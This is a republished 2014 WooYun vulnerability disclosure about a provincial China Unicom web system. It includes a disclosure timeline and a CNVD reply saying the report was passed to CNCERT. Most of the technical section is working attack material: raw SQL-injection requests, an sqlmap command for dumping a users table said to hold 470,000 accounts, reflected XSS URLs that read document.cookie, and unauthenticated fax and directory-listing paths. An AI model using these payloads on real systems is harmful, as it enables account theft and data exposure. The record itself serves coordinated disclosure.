中国联通某省公司SQL+XSS+越权+路径+遍历

admin
admin
admin
102613
文章
87
评论
2015年7月20日09:09:57评论304 views字数 242阅读0分48秒阅读模式
摘要

2014-10-26： 细节已通知厂商并且等待厂商处理中
2014-10-29： 厂商已经确认，细节仅向厂商公开
2014-11-08： 细节向核心白帽子及相关领域专家公开
2014-11-18： 细节向普通白帽子公开
2014-11-28： 细节向实习白帽子公开
2014-12-08： 细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号： WooYun-2014-80593

漏洞标题： 中国联通某省公司SQL+XSS+越权+路径+遍历

相关厂商： 中国联通

漏洞作者： BMa中国联通某省公司SQL+XSS+越权+路径+遍历

提交时间： 2014-10-26 15:49

公开时间： 2014-12-08 15:50

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： xss php+字符类型注射 越权

0人收藏

漏洞详情

披露状态：

2014-10-26： 细节已通知厂商并且等待厂商处理中
2014-10-29： 厂商已经确认，细节仅向厂商公开
2014-11-08： 细节向核心白帽子及相关领域专家公开
2014-11-18： 细节向普通白帽子公开
2014-11-28： 细节向实习白帽子公开
2014-12-08： 细节向公众公开

简要描述：

中国联通某省公司多处SQL+多处XSS+传真越权+路径泄露+传真内容遍历，导致47万用户名密码泄露

详细说明：

中国联合网络通信有限公司 吉林省分公司

**.**.**.**

先来SQL:

第一个

code 区域 
GET /common/phone/mailManger/sms_note/notesearch_submit_other.jsp?sclasses=1 HTTP/1.1
 X-Requested-With: XMLHttpRequest
 Referer: http://**.**.**.**:80/
 Cookie: JSESSIONID=aE4bZsdZB15h
 Host: **.**.**.**
 Connection: Keep-alive
 Accept-Encoding: gzip,deflate
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
 Accept: */*

第二个：

code 区域 
GET /common/phone/msgmanger/msgTypeDetail.jsp?sclasses=1 HTTP/1.1
 X-Requested-With: XMLHttpRequest
 Referer: http://**.**.**.**:80/
 Cookie: JSESSIONID=aE4bZsdZB15h
 Host: **.**.**.**
 Connection: Keep-alive
 Accept-Encoding: gzip,deflate
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
 Accept: */*

第三个：

code 区域 
POST /common/login_submit.jsp HTTP/1.1
 Content-Length: 171
 Content-Type: application/x-www-form-urlencoded
 X-Requested-With: XMLHttpRequest
 Referer: http://**.**.**.**:80/
 Cookie: JSESSIONID=aE4bZsdZB15h
 Host: **.**.**.**
 Connection: Keep-alive
 Accept-Encoding: gzip,deflate
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
 Accept: */*
 
 doLogin=true&hostname=**.**.**.**&password=g00dPa%24%24w0rD&redirectStr=allframe.htm&Submit=%b8%f6%c8%cb%b5%c7%c2%bd&username=3PJ0TgNj

中国联通某省公司SQL+XSS+越权+路径+遍历

中国联通某省公司SQL+XSS+越权+路径+遍历

中国联通某省公司SQL+XSS+越权+路径+遍历

顺便说一句：如果想获得ymaildb这张表的用户数据，不能按照先-D --tables，得直接-D -T --columns，不然会找不到列名，或者用--sql-shell：<看了下47万多用户>

code 区域 
[~]# Sqlmap -r C:/Users/Administrator/Desktop/Desktop/5.txt --dbms=mssql -D ymaildb -T users --columns

中国联通某省公司SQL+XSS+越权+路径+遍历

中国联通某省公司SQL+XSS+越权+路径+遍历

中国联通某省公司SQL+XSS+越权+路径+遍历

XSS：

第一个：

code 区域 
http://**.**.**.**//common/phone/sendfax/failerror.jsp?errorMessage=3--%3E%3CScRiPt%20%3Eprompt%28document.cookie%29%3C/ScRiPt%3E%3C!--

中国联通某省公司SQL+XSS+越权+路径+遍历

第二个：

code 区域 
http://**.**.**.**/common/login.jsp?hostname=**.**.**.**&message=%25B5%25C7%25C2%25BC%25CA%25A7%25B0%25DC%25A3%25AC%25C7%25EB%25D4%25DA%25B8%25F6%25C8%25CB%25B5%25C7%25C2%25BD%25C8%25EB%25BF%25DA%25B5%25C7%25C2%25BD!_%3C/script%3E%3Cscript%3Eprompt%28document.cookie%29%3C/script%3E&username=lxkhuxia

中国联通某省公司SQL+XSS+越权+路径+遍历

第三个：

code 区域 
http://**.**.**.**//login.jsp?hostname=**.**.**.**&message=%25B5%25C7%25C2%25BC%25CA%25A7%25B0%25DC%25A3%25AC%25C7%25EB%25D1%25E9%25D6%25A4%25C4%25E3%25B5%25C4%25CA%25E4%25C8%25EB%25B5%25C4%25D3%25C3%25BB%25A7%25C3%25FB%25BA%25CD%25C3%25DC%25C2%25EB%25CA%25C7%25B7%25F1%25D5%25FD%25C8%25B7.%25B5%25C7%25C2%25BC%25CA%25A7%25B0%25DC%2c%25D3%25C3%25BB%25A7%25B2%25BB%25B4%25E6%25D4%25DA_%3C/script%3E%3Cscript%3Eprompt%28document.cookie%29%3C/script%3E&username=arwxpoeo

中国联通某省公司SQL+XSS+越权+路径+遍历

第四个：

code 区域 
http://**.**.**.**//login.jsp?username=jagfewcb&hostname=**.**.**.**_%3C/script%3E%3Cscript%3Eprompt%28983227%29%3C/script%3E&message=%B5%C7%C2%BC%CA%A7%B0%DC%A3%AC%C7%EB%D1%E9%D6%A4%C4%E3%B5%C4%CA%E4%C8%EB%B5%C4%D3%C3%BB%A7%C3%FB%BA%CD%C3%DC%C2%EB%CA%C7%B7%F1%D5%FD%C8%B7.%C3%BB%D3%D0%D5%E2%B8%F6%D3%F2,name:%20**.**.**.**_%3C/script%3E%3Cscript%3Eprompt%28document.cookie%29%3C/script%3E1

中国联通某省公司SQL+XSS+越权+路径+遍历

越权+服务器绝对路径泄露：本来传真功能只有登陆用户才能使用的

code 区域 
http://**.**.**.**//common/phone/sendfax/fax_new.jsp
 http://**.**.**.**//common/phone/sendfax//txt//20141024120428.txt

目录遍历+用户传真内容泄露：<任何用户都可以访问>

code 区域 
http://**.**.**.**//common/phone/sendfax//txt/
 http://**.**.**.**//common/phone/sendfax//txt//20141024120428.txt

中国联通某省公司SQL+XSS+越权+路径+遍历

中国联通某省公司SQL+XSS+越权+路径+遍历

漏洞证明：

修复方案：

版权声明：转载请注明来源 BMa@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2014-10-29 09:03

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给吉林分中心，由其后续协调网站管理单位处置。按多个风险点综合评分，rank 14

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2014-10-24 16:32 | LoveSnow ( 实习白帽子 | Rank:85 漏洞数:20 | 以正和，以奇胜！)

    1

    @BMa,你是不是潜伏在联通啊，哈哈

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin